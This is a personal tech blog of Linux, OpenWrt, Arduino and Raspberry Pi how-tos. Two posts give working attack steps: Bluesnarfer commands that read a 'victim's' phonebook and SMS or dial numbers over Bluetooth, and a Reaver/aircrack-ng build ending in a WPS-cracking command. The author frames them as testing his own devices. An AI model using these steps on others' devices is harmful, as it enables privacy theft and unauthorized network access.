Pages

Tuesday, 30 August 2022

Docker post install steps on linux

Create group and add your user to it:

sudo groupadd docker

sudo gpasswd -a $USER docker

Then fix sock permissions:

sudo setfacl --modify user:<user name or ID>:rw /var/run/docker.sock




Monday, 13 April 2020

Change linux hostname Cent OS/RHEL/Oracle Linux (proper way)

While requesting linux virtual machine at a vps provider I forgot to set the hostname I wanted it to have. As a result it got a default hostname which was a combination of date and time. Following google findings I changed the hostname in /etc/hosts and by executing hostname NEW_HOSTNAME. I tried hostnamectl set-hostname NEW_HOSTNAME too. That didn't work! I didn't have any other choice as going to the documentation. Then I realised I should have set the type of hostname I am setting up. Quick note from docs:

The static (configured) host name is the one configured in /etc/hostname or a similar file. It is chosen by the local user. It is not always in sync with the current host name as returned by the gethostname() system call. If no host name is configured this property will be the empty string. Setting this property to the empty string will remove /etc/hostname. This hostname should be an internet-style hostname, 7bit ASCII, no special chars/spaces, lower case.

The transient (dynamic) host name is the one configured via the kernel's sethostbyname(). It can be different from the static hostname in case DHCP or mDNS have been configured to change the name based on network information. This property is never empty. If no host name is set this will default to "localhost". Setting this property to the empty string will reset the dynamic hostname to the static host name. If no static host name is configured the dynamic host name will be reset to "localhost". This hostname should be an internet-style hostname, 7bit ASCII, no special chars/spaces, lower case.

The pretty host name is a free-form UTF8 host name for presentation to the user. UIs should ensure that the pretty hostname and the static hostname stay in sync. I.e. when the former is "Lennart's Computer" the latter should be "lennarts-computer". If no pretty host name is set this setting will be the empty string. Applications should then find a suitable fallback, such as the dynamic hostname.



Here I used static type: hostnamectl set-hostname NEW_HOSTNAME --static

Friday, 27 March 2020

Open WRT as local DNS server to speed up internet

1. Set own DNS servers. Do this by adding config options in WAN section in /etc/config/network. Here I use Open DNS

uci set network.wan.dns="208.67.222.222 208.67.220.220"
uci commit
ifup wan

This only adds new servers. If we want to use only them do following:

uci set network.wan.dns="208.67.222.222 208.67.220.220"
uci set network.wan.peerdns=0
uci commit network
ifup wan

Here peerdns=0 means to ignore ISP delivered DNS

2. Force using router as DNS server.

It may happen that the client does not use DHCP but has manually set the IP address or set up another DNS server. DNS queries usually (see note below) are sent to port number 53, so if all the client traffic goes through our router then we can force our router to be used regardless of what the client has set. To do this, route all requests to the destination port 53 / tcp and 53 / udp to your router (assuming: the router has the address 192.168.1.1 and its LAN subnet is 192.168.1.0/24, which is the default OpenWrt configuration).


iptables -t nat -I PREROUTING -s 192.168.1.0/24 -p udp --dport 53 -j DNAT --to 192.168.1.1
iptables -t nat -I PREROUTING -s 192.168.1.0/24 -p tcp --dport 53 -j DNAT --to 192.168.1.1

(this can be added to the /etc/firewall.user file). Please note that your internet provider may also force the use of specific DNS servers, although it usually doesn't. While port 53 is the "standard" DNS service port, it happens that name servers can also listen on other ports. An example is the dnscrypt service which communicates on port 443. In networks using Tor, DNS is usually redirected to the built-in client anonymizing network.

Monday, 23 March 2020

Strapi MongoError: not master and slaveOk=false

I tried using Strapi with cloud.mongodb.com and I got an error:

yarn run v1.19.1
$ strapi develop
[2020-03-23T19:00:55.263Z] error An index error happened, it wasn't applied.
        - not master
[2020-03-23T19:00:55.507Z] error An index error happened, it wasn't applied.
        - not master
[2020-03-23T19:00:55.509Z] error An index error happened, it wasn't applied.
        - not master
[2020-03-23T19:00:55.791Z] debug ⛔️ Server wasn't able to start properly.
[2020-03-23T19:00:55.795Z] error MongoError: not master and slaveOk=false

All I was able to find out is that it has something to do with cluster configuration. I didn't see option to set slaveOk parameter anywhere in Strapi documentation. I'm sure there are better solutions to this but still I didn't want to spend too much time on this.

My fix was to add in database.json all 3 hosts within host line:

"host": "xxx-shard-00-00-rxyat.mongodb.net,xxx-shard-00-01-rxyat.mongodb.net,xxx-shard-00-02-rxyat.mongodb.net",

Friday, 13 March 2020

Clear Linux available in Clover bootloader

I was struggling to get my Mac OS laptop boot also Clear Linux using Clover EFI loader. Making it tripple boot with Mac OS, Windows 10 and Clear Linux it would require following a sequence.

- First thing is to install Mac OS and make it boot via Clover.
- Second is to install (or restore Windows 10). Here make sure that Clover boots correctly both Mac OS and Windows.
- Third is to install Clear Linux. So create required primary partitions CLR_BOOT, CLR_SWAP and CLR_ROOT and proceed with the installation. When installation is completed make a copy of output from command blkid and reboot to Mac OS.

Now, in Clover Configurator mount EFI partition and load config which you use to boot Mac OS. Next go to GUI section, add new Custom Entry and enter only UUID of the CLR_BOOT partition and name which you want to see in Clover boot menu. When that's done, reboot and check if it worked.

Following pictures are for reference hoping they clearly ilustrate what to put and where.




Thursday, 27 February 2020

How to send command to specific pane in tmux

I was looking for a way of launching process in tmux split screen mode where one part of the terminal shows log entries and another starting sequence. I found a script in internet but was having problems locating a pane. So first I had to figure out correct pane locations. To do this execute following command:


tmux list-panes –a

This gave me indication that window id is equal 1 and not 0 as indicated in tmux status bar.

Then it went easy, just go with following bash script:

#!/bin/bash
session="my name"
window=${session}:1
pane=${window}.1
echo $pane
tmux send-keys -t "$pane" C-z 'test cmd 1' Enter
tmux send-keys -t "$pane" 'test cmd 2' Enter

Thursday, 20 February 2020

Linux how to check progress of DD

Few days ago I decided to install linux on Lenovo Yoga 1051f which is a Windows 10 tablet. First I wanted to create backup of existing system. This tablet has only 1 micro USB port so I had to use USB hub. I executed DD command for entire disk, that was about 32GB.

dd if=/dev/sdb of=/dev/sdc
After an hour or so I became curious about the progress. I expected this to be quick thing while it was very slow. Probably I should have done something like this:
dd if=/dev/sdb of=/dev/sdc status=progress
Copying was in progress and I didn't want to abort it. After doing some research I found a comment saying that I can open another terminal window and execute kill command there, then terminal where DD is running would show the progress. This indeed worked. In theory this should work too:
sudo kill -USR1 $(pgrep ^dd)

Happy dd-ing!

Saturday, 1 February 2020

How to change Time Zone on Oracle Linux (Working)

I tried multiple commands from different posts which ran correctly but didn't change Time Zone permanently. I figured out following steps in order to change Time Zone info on Oracle Linux:

1. Run tzselect (this will return timezone name)
2. Run timedatectl set-timezone OUTPUT_OF_ABOVE

Then execute date to confirm if it worked.

Saturday, 30 June 2018

Openwrt pptp client set authentication protocols

I tried to setup VPN gateway on OpenWRT router that would connect to my VPS. I used instructions from openwrt wiki which was basically this:

opkg update
opkg install ppp-mod-pptp kmod-nf-nathelper-extra
opkg install luci-proto-ppp

Then in web interface add new network interface PPtP, create firewall zone, configure this whole thing and reboot.

But that doesn't seem to be complete. My connection could not be established due to authentication protocols. Google was hopeless here, fortunatelly pptpd documentation from Arch gave an idea how to configure it.

Failure:

Sat Jun 30 19:10:56 2018 daemon.notice netifd: Interface 'VPN' is setting up now
Sat Jun 30 19:10:57 2018 daemon.info pppd[18455]: Plugin pptp.so loaded.
Sat Jun 30 19:10:57 2018 daemon.info pppd[18455]: PPTP plugin version 1.00
Sat Jun 30 19:10:57 2018 daemon.notice pppd[18455]: pppd 2.4.7 started by root, uid 0
Sat Jun 30 19:10:57 2018 daemon.debug pppd[18456]: pptp: call manager for 185.234.216.151
Sat Jun 30 19:10:57 2018 daemon.debug pppd[18456]: window size: 50
Sat Jun 30 19:10:57 2018 daemon.debug pppd[18456]: call id:     617
Sat Jun 30 19:10:57 2018 daemon.debug pppd[18456]: control connection
Sat Jun 30 19:10:57 2018 daemon.debug pppd[18456]: unix_sock
Sat Jun 30 19:10:57 2018 daemon.debug pppd[18461]: Sent control packet type is 1 'Start-Control-Connection-Request'
Sat Jun 30 19:10:57 2018 daemon.debug pppd[18461]: Received Start Control Connection Reply
Sat Jun 30 19:10:57 2018 daemon.debug pppd[18461]: Client connection established.
Sat Jun 30 19:10:58 2018 daemon.debug pppd[18461]: Sent control packet type is 7 'Outgoing-Call-Request'
Sat Jun 30 19:10:58 2018 daemon.debug pppd[18461]: Received Outgoing Call Reply.
Sat Jun 30 19:10:58 2018 daemon.debug pppd[18461]: Outgoing call established (call ID 617, peer's call ID 1771).
Sat Jun 30 19:10:58 2018 daemon.debug pppd[18455]: using channel 617
Sat Jun 30 19:10:58 2018 kern.info kernel: [ 1791.340662] pptp-VPN: renamed from ppp0
Sat Jun 30 19:10:58 2018 daemon.info pppd[18455]: Using interface pptp-VPN
Sat Jun 30 19:10:58 2018 daemon.notice pppd[18455]: Connect: pptp-VPN <--> pptp (185.234.216.151)
Sat Jun 30 19:10:58 2018 daemon.debug pppd[18455]: sent [LCP ConfReq id=0x1 <asyncmap 0x0> <magic 0x51881348>]
Sat Jun 30 19:10:58 2018 daemon.debug pppd[18455]: rcvd [LCP ConfReq id=0x0 <mru 1400> <auth eap> <magic 0x72477096> <pcomp> <accomp> <callback CBCP> <mrru 1614> <endpoint 13 17 01 c5 c8 51 2c 75 4c 47 4a 89 63 dc 8e b0 6d 02 b2 00 00 00 00>]
Sat Jun 30 19:10:58 2018 daemon.debug pppd[18455]: sent [LCP ConfRej id=0x0 <pcomp> <accomp> <callback CBCP> <mrru 1614>]
Sat Jun 30 19:10:58 2018 daemon.debug pppd[18455]: rcvd [LCP ConfAck id=0x1 <asyncmap 0x0> <magic 0x51881348>]
Sat Jun 30 19:10:58 2018 daemon.debug pppd[18455]: rcvd [LCP ConfReq id=0x1 <mru 1400> <auth eap> <magic 0x72477096> <endpoint 13 17 01 c5 c8 51 2c 75 4c 47 4a 89 63 dc 8e b0 6d 02 b2 00 00 00 00>]
Sat Jun 30 19:10:58 2018 daemon.debug pppd[18455]: sent [LCP ConfAck id=0x1 <mru 1400> <auth eap> <magic 0x72477096> <endpoint 13 17 01 c5 c8 51 2c 75 4c 47 4a 89 63 dc 8e b0 6d 02 b2 00 00 00 00>]
Sat Jun 30 19:10:58 2018 daemon.debug pppd[18455]: sent [LCP EchoReq id=0x0 magic=0x51881348]
Sat Jun 30 19:10:58 2018 daemon.debug pppd[18461]: PPTP_SET_LINK_INFO received from peer_callid 617
Sat Jun 30 19:10:58 2018 daemon.debug pppd[18461]:   send_accm is %lX, recv_accm is %lX
Sat Jun 30 19:10:58 2018 daemon.warn pppd[18461]: Non-zero Async Control Character Maps are not supported!
Sat Jun 30 19:10:58 2018 daemon.debug pppd[18455]: rcvd [EAP Request id=0x0 Identity <No message>]
Sat Jun 30 19:10:58 2018 daemon.debug pppd[18455]: sent [EAP Response id=0x0 Identity <Name "username">]
Sat Jun 30 19:10:58 2018 daemon.debug pppd[18455]: rcvd [LCP EchoRep id=0x0 magic=0x72477096]
Sat Jun 30 19:10:59 2018 daemon.debug pppd[18455]: rcvd [EAP Failure id=0x0]
Sat Jun 30 19:10:59 2018 daemon.err pppd[18455]: EAP: peer reports authentication failure
Sat Jun 30 19:10:59 2018 daemon.debug pppd[18455]: sent [LCP TermReq id=0x2 "Failed to authenticate ourselves to peer"]
Sat Jun 30 19:10:59 2018 daemon.debug pppd[18455]: rcvd [LCP TermReq id=0x3 "rGp\37777777626\000<\37777777715t\000\000\003\37777777656"]
Sat Jun 30 19:10:59 2018 daemon.debug pppd[18455]: sent [LCP TermAck id=0x3]
Sat Jun 30 19:10:59 2018 daemon.debug pppd[18461]: PPTP_SET_LINK_INFO received from peer_callid 617
Sat Jun 30 19:10:59 2018 daemon.debug pppd[18461]:   send_accm is %lX, recv_accm is %lX
Sat Jun 30 19:10:59 2018 daemon.warn pppd[18461]: Non-zero Async Control Character Maps are not supported!
Sat Jun 30 19:10:59 2018 daemon.debug pppd[18455]: rcvd [LCP TermAck id=0x2 "Failed to authenticate ourselves to peer"]
Sat Jun 30 19:10:59 2018 daemon.notice pppd[18455]: Connection terminated.
Sat Jun 30 19:10:59 2018 daemon.debug pppd[18461]: Closing connection (unhandled)
Sat Jun 30 19:10:59 2018 daemon.debug pppd[18461]: Sent control packet type is 12 'Call-Clear-Request'
Sat Jun 30 19:10:59 2018 daemon.debug pppd[18461]: Closing connection (call state)
Sat Jun 30 19:10:59 2018 daemon.info pppd[18455]: Exit.


My solution:

In file /etc/ppp/chap-secrets add credentials divided with TAB:

#USERNAME  PROVIDER  PASSWORD  IPADDRESS
username        *       password    *

Then in file /etc/ppp/options add below:

refuse-pap
refuse-eap
require-chap
require-mschap


After that the connection was established.


MS Outlook asking for Gmail password

While configuring Outlook to deal with my Gmail content I got stuck with password prompt. After doing some reserach I realized that I must set up another password for Outlook in Google Account settings.

1. First we need to go to Sign-in & security
2. I signing in to Google select App passwords.
3. From dropdown boxes pick mail and windows, then GENERATE button will activate.
4. Our new password will be shown on yellow rectangle.








Sunday, 17 June 2018

Call php script from javascript

The idea is to create web interface for raspberry pi. I want to reload only certain elements of the http page and have possibility to execute linux commands. For example if I want to check CPU temperature I use vcgencmd measure_temp. I put this into php script and print complete javascript.

Below is my code: 

<?php
$result = exec ('sudo vcgencmd measure_temp'); 
$tempOnly = substr($result,5);  
?>

function rpiTemp()
{
        var example = <?php echo '"' . $tempOnly . '"'; ?>;
        alert(example);

}



In <head> block I include script with following:

<script type="text/javascript" src="http://raspberrypi/check_cpu_temp.php"></script>

And call it in <body> section with a button:

<input type="submit" value="Check CPU Temperature" onclick="rpiTemp()"/>


Sunday, 13 May 2018

Windows missing xapofx1_5.dll (including no sound)

I tried to play Ashes of the Singularity: Escalation however my Windows 10 laptop complained about missing file xapofx1_5.dll. All tutorials positioned high on google advised to download this dll from internet and all should be fine. So I went to https://www.dll-files.com and downloaded the dll. I copied it to C:\Windows\System32 then started the game and it started... without sound. After going through multiple pages I figured out that DirectX has to be installed. Below are the steps:


  1. Download xapofx1_5.dll from https://www.dll-files.com (In my case x64)
  2. Extract dll file from the downloaded zip to C:\Windows\System32.
  3. Download DirectX End-User Runtime Web Installer (Can use this link too http://zipansion.com/b1sM)
  4. Install DirectX and start the game.

Sunday, 25 February 2018

Arduino Leonardo not recognized USB device, flash bootloader with Raspberry Pi

While flashing new program to Arduino Leonardo usb cable got disconnected which aparently bricked it. Windows no longer was able to recognize it. I found out that bootloader was broken which can be easily flashed using another Arduino. I have also Arduino Mini Pro but unfortunatelly there is no tutorial how to use it to recover Leonardo. After multiple attempts I came to the conclusion that it is not possible to use Arduino Mini Pro for this.

I tried with Raspberry Pi then. I used tutorial from here but it didn't really cover the whole process. What I did was:


1. Install avrdude

sudo apt-get update
sudo apt-get install avrdude

2. Connect the wires:

Arduino ICSP VCC to Raspberry Pi 5 volt pin.
Arduino ICSP GND to Raspberry Pi ground pin.
Arduino ICSP RESET to Raspberry Pi GPIO #12.
Arduino ICSP SCK to Raspberry Pi GPIO #24.
Arduino ICSP MOSI to Raspberry Pi GPIO #23.
Arduino ICSP MISO to Raspberry Pi GPIO #18.


3. Prepare configuration file (I used leafpad to edit it):

cp /etc/avrdude.conf /etc/avrdude_gpio.conf
leafpad /etc/avrdude_gpio.conf

4. At the end of avrdude_gpio.conf I added below lines:

# Linux GPIO configuration for avrdude.
# Change the lines below to the GPIO pins connected to the AVR.
programmer
id = "pi_1";
desc = "Use the Linux sysfs interface to bitbang GPIO lines";
type = "linuxgpio";
reset = 12;
sck = 24;
mosi = 23;
miso = 18;
;

5. Now we need hex file with bootloader. The tutorial says to use what was compiled in IDE however it didn't work for me. I used generic bootloader from file sparkfunboards.1.1.9.tar.bz2 downloaded from this link.

6. Inside that archive I went to \avr-1.1.9\bootloaders\caterina\ and copied Caterina.hex to Raspberry Pi.

7. Check if can connect:

avrdude -p atmega328p -C ~/avrdude_gpio.conf -c pi_1 -v


8. Flash bootloader with below command:

avrdude -p m32u4 -C /etc/avrdude_gpio.conf -c pi_1 -v -U flash:w:Caterina.hex:i

Output was following:

avrdude: Version 6.3 Copyright (c) 2000-2005 Brian Dean, http://www.bdmicro.com/ Copyright (c) 2007-2014 Joerg Wunsch System wide configuration file is "/etc/avrdude_gpio.conf" User configuration file is "/root/.avrduderc" User configuration file does not exist or is not a regular file, skipping Using Port : unknown Using Programmer : pi_1 AVR Part : ATmega32U4 Chip Erase delay : 9000 us PAGEL : PD7 BS2 : PA0 RESET disposition : dedicated RETRY pulse : SCK serial program mode : yes parallel program mode : yes Timeout : 200 StabDelay : 100 CmdexeDelay : 25 SyncLoops : 32 ByteDelay : 0 PollIndex : 3 PollValue : 0x53 Memory Detail : Block Poll Page Polled Memory Type Mode Delay Size Indx Paged Size Size #Pages MinW MaxW ReadBack ----------- ---- ----- ----- ---- ------ ------ ---- ------ ----- ----- --------- eeprom 65 20 4 0 no 1024 4 0 9000 9000 0x00 0x00 flash 65 6 128 0 yes 32768 128 256 4500 4500 0x00 0x00 lfuse 0 0 0 0 no 1 0 0 9000 9000 0x00 0x00 hfuse 0 0 0 0 no 1 0 0 9000 9000 0x00 0x00 efuse 0 0 0 0 no 1 0 0 9000 9000 0x00 0x00 lock 0 0 0 0 no 1 0 0 9000 9000 0x00 0x00 calibration 0 0 0 0 no 1 0 0 0 0 0x00 0x00 signature 0 0 0 0 no 3 0 0 0 0 0x00 0x00 Programmer Type : linuxgpio Description : Use the Linux sysfs interface to bitbang GPIO lines Pin assignment : /sys/class/gpio/gpio{n} RESET = 12 SCK = 24 MOSI = 23 MISO = 18 avrdude: AVR device initialized and ready to accept instructions Reading | ################################################## | 100% 0.00s avrdude: Device signature = 0x1e9587 (probably m32u4) avrdude: safemode: hfuse reads as D8 avrdude: safemode: efuse reads as CB avrdude: NOTE: "flash" memory has been specified, an erase cycle will be performed To disable this feature, specify the -D option. avrdude: erasing chip avrdude: reading input file "Caterina.hex" avrdude: writing flash (32762 bytes): Writing | ################################################## | 100% 2.31s avrdude: 32762 bytes of flash written avrdude: verifying flash memory against Caterina.hex: avrdude: load data flash data from input file Caterina.hex: avrdude: input file Caterina.hex contains 32762 bytes avrdude: reading on-chip flash data: Reading | ################################################## | 100% 2.11s avrdude: verifying ... avrdude: 32762 bytes of flash verified avrdude: safemode: hfuse reads as D8 avrdude: safemode: efuse reads as CB avrdude: safemode: Fuses OK (E:CB, H:D8, L:FF) avrdude done. Thank you.


After that my Arduino Leonardo was recognized by Windows and successfully flashed test blink program.

Saturday, 10 February 2018

Raspberry pi 3 issues with BMP180

Recently I connected BMP180 BARO to Arduino and it worked fine. I tried to connect it to Raspberry pi 3 and I got whole bunch of errors. I tried to use those libraries:


https://github.com/xtacocorex/Adafruit_Python_GPIO
https://github.com/adafruit/Adafruit_Python_BMP

I was using multiple samples but still following errors were occuring:

pi@raspberrypi:~/pi $ python BMP180.py
Traceback (most recent call last):
  File "BMP180.py", line 3, in <module>
    sensor = BMP085.BMP085(busnum=2)
  File "build/bdist.linux-armv7l/egg/Adafruit_BMP/BMP085.py", line 67, in __init__
  File "build/bdist.linux-armv7l/egg/Adafruit_GPIO/I2C.py", line 65, in get_i2c_device
  File "build/bdist.linux-armv7l/egg/Adafruit_GPIO/I2C.py", line 98, in __init__
  File "build/bdist.linux-armv7l/egg/Adafruit_PureIO/smbus.py", line 97, in __init__
  File "build/bdist.linux-armv7l/egg/Adafruit_PureIO/smbus.py", line 122, in open
IOError: [Errno 2] No such file or directory: '/dev/i2c-2'

Or:

Traceback (most recent call last):
  File "B180.py", line 24, in <module>
    print('Pressure = {0:0.2f} Pa'.format(sensor.read_pressure()))
  File "build/bdist.linux-armv7l/egg/Adafruit_BMP/BMP085.py", line 152, in read_pressure
  File "build/bdist.linux-armv7l/egg/Adafruit_BMP/BMP085.py", line 129, in read_raw_pressure
  File "build/bdist.linux-armv7l/egg/Adafruit_GPIO/I2C.py", line 149, in readU8
  File "build/bdist.linux-armv7l/egg/Adafruit_PureIO/smbus.py", line 155, in read_byte_data

Or this:

pi@raspberrypi:~/pi $ python bMP180.py 
Traceback (most recent call last):
  File "bMP180.py", line 1, in <module>
    from tentacle_pi.BMP180 import BMP180
ImportError: /usr/local/lib/python2.7/dist-packages/tentacle_pi/BMP180.so: undefined symbol: i2c_smbus_write_byte_data

I finally figured out that in sensor definition brackets were required. So below code is working now.

import Adafruit_BMP.BMP085 as BMP085
sensor = BMP085.BMP085()
print('Temp = {0:0.2f} *C'.format(sensor.read_temperature()))
print('Pressure = {0:0.2f} Pa'.format(sensor.read_pressure()))
print('Altitude = {0:0.2f} m'.format(sensor.read_altitude()))
print('Sealevel Pressure = {0:0.2f} Pa'.format(sensor.read_sealevel_pressure()))

Adding brackets fixed code of every other sample that I used before.

Sunday, 12 November 2017

Asus G752 install windows on RAID 0 with Samsung 960 EVO

Setting up RAID 0 on a laptop ASUS ROG G752 VM with two disks Samsung 250GB 1,8'' series 960 EVO M.2 2280 NVMe.

1. Write windows isnstallation to USB drive using GPT for UEFI format.
2. Copy Intel RAID drivers on second USB drive.
2. Disconnect other disks.
3. Change BIOS to RAID.
4. Setup the volume as on the video.




5. Run the installer.
6. Load drivers.
7. Install windows.
8. Attach other disks.

Saturday, 21 October 2017

Bluesnarfer bluetooth hacking or penetration testing from raspberry pi

Recently I noticed that bluesnarfer can be used for hacking mobile phones. That should be a reason enough to keep bluetooth disabled. So I tried to hack my phone. The tutorials I found on internet were containing errors. Below steps worked for me:

Go to /opt with:
cd /opt

Get Bluesnarfer using the wget command: 
wget http://alighieri.org/tools/bluesnarfer.tar.gz

Extract it with the simple tar xvf command: 
tar xvf bluesnarfer.tar.gz

Open extracted folder and check content:

cd bluesnarfer
ls

This needs to be compiled: make

This resulted in an error on my unit:
fatal error: bluetooth/bluetooth.h: No such file or directory
 #include <bluetooth/bluetooth.h>

If this error occurs that means you need to install libbluetooth-dev
apt-get install libbluetooth-dev

After it is compiled see check Bluesnarfer commands with this command ./bluesnarfer

Now that we have Bluesnarfer, you must configure rfcomm first, if you haven't already done that:
mkdir -p /dev/bluetooth/rfcomm
mknod -m 666 /dev/bluetooth/rfcomm/0 c 216 0
mknod --mode=666 /dev/rfcomm0 c 216 0

hciconfig hci0 up
hciconfig hci0

Scan for target devices:
hcitool scan hci0

Ping the target to see if it is awake:
l2ping  <victim mac addr>

Browse the target for rfcomm channels to connect to:
sdptool browse --tree --l2cap <mac addr>

Now you can use Bluesnarfer for example to read the victims phonebook, dial a number or read sms or other things:

./bluesnarfer -r 1-100 -C 7 -b <mac addr>

See available opions with:
./bluesnarfer -h

Dial number: 
./bluesnarfer-m < victim name > -c 7 -a < mac addr > Dial < number >

Monday, 27 February 2017

Penetration test of my Wifi


How to compile Reaver under Ubuntu 12.04 (and aircrack-ng)

This is a quick how-to compile and install Reaver under Ubuntu 12.04

Steps:

1.    download source
2.    install required libraries and tools
3.    download and build aircrack-ng
4.    compile and install
5.    run

Download Source

First you need to download the latest source from http://code.google.com/p/reaver-wps/

    wget http://reaver-wps.googlecode.com/files/reaver-1.4.tar.gz

Extract the tarball

    tar -xzvf reaver-1.4.tar.gz

Install Required Libraries and Tools

Before you can build Reaver you need pcaplib and later on aircrack-ng (iw) to run Reaver

    sudo apt-get install libpcap-dev sqlite3 libsqlite3-dev libpcap0.8-dev

Compile and Install

Build Reaver

    cd reaver-1.4
    cd src
    ./configure
    make


Install Reaver

    sudo make install

Download aircrack-ng source and build it

Since Ubuntu 12.04 aircrack-ng is not longer in the repository but you can still download it from source and compile it. It’s only one little tweak that need to be done since it will not build without the following errors.

    johan@ubuntu-lab:~/aircrack-ng-1.1$ make
    make -C src all
    make[1]: Entering directory `/home/johan/aircrack-ng-1.1/src’
    make -C osdep
    make[2]: Entering directory `/home/johan/aircrack-ng-1.1/src/osdep’
    Building for Linux
    make[3]: Entering directory `/home/johan/aircrack-ng-1.1/src/osdep’
    gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0  -fPIC -I..    -c -o osdep.o osdep.c
    gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0  -fPIC -I..    -c -o network.o network.c
    gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0  -fPIC -I..    -c -o linux.o linux.c
    linux.c: In function ‘is_ndiswrapper’:
    linux.c:165:17: error: variable ‘unused’ set but not used [-Werror=unused-but-set-variable]
    linux.c: In function ‘linux_set_rate’:
    linux.c:334:22: error: variable ‘unused’ set but not used [-Werror=unused-but-set-variable]
    linux.c: In function ‘linux_set_channel’:
    linux.c:807:22: error: variable ‘unused’ set but not used [-Werror=unused-but-set-variable]
    linux.c: In function ‘linux_set_freq’:
    linux.c:896:22: error: variable ‘unused’ set but not used [-Werror=unused-but-set-variable]
    linux.c: In function ‘set_monitor’:
    linux.c:1022:22: error: variable ‘unused’ set but not used [-Werror=unused-but-set-variable]
    linux.c: In function ‘do_linux_open’:
    linux.c:1366:12: error: variable ‘unused_str’ set but not used [-Werror=unused-but-set-variable]
    linux.c:1352:15: error: variable ‘unused’ set but not used [-Werror=unused-but-set-variable]
    linux.c: In function ‘get_battery_state’:
    linux.c:1982:35: error: variable ‘current’ set but not used [-Werror=unused-but-set-variable]
    cc1: all warnings being treated as errors
    make[3]: *** [linux.o] Error 1
    make[3]: Leaving directory `/home/johan/aircrack-ng-1.1/src/osdep’
    make[2]: *** [all] Error 2
    make[2]: Leaving directory `/home/johan/aircrack-ng-1.1/src/osdep’
    make[1]: *** [osd] Error 2
    make[1]: Leaving directory `/home/johan/aircrack-ng-1.1/src’
    make: *** [all] Error 2

This is how to build aircrack-ng under Ubuntu 12.04

    sudo apt-get install build-essential
    sudo apt-get install libssl-dev
    wget http://download.aircrack-ng.org/aircrack-ng-1.1.tar.gz
    tar -zxvf aircrack-ng-1.1.tar.gz
    cd aircrack-ng-1.1


Edit common.mak with vi as example

    vi common.mak

Find the following row

    CFLAGS          ?= -g -W -Wall -Werror -O3

Remove “-Werror” so that it looks like this

    CFLAGS          ?= -g -W -Wall -O3

Save the file, build and install

    make
    sudo make install


Run

Reaver is now installed and ready to use. You will first need to put the wifi adapter info monitor mode before you can start and the most easiest way is to use airmon-ng (part of aircrack-ng) that you just installed.

First put your adapter info monitor mode, in my case it’s wlan0

    sudo airmon-ng start wlan0

Run Reaver

    sudo reaver -i mon0 -b 00:00:00:00:00:00

Replace MAC 00:00:00:00:00:00 with the actual AP:s MAC address to crack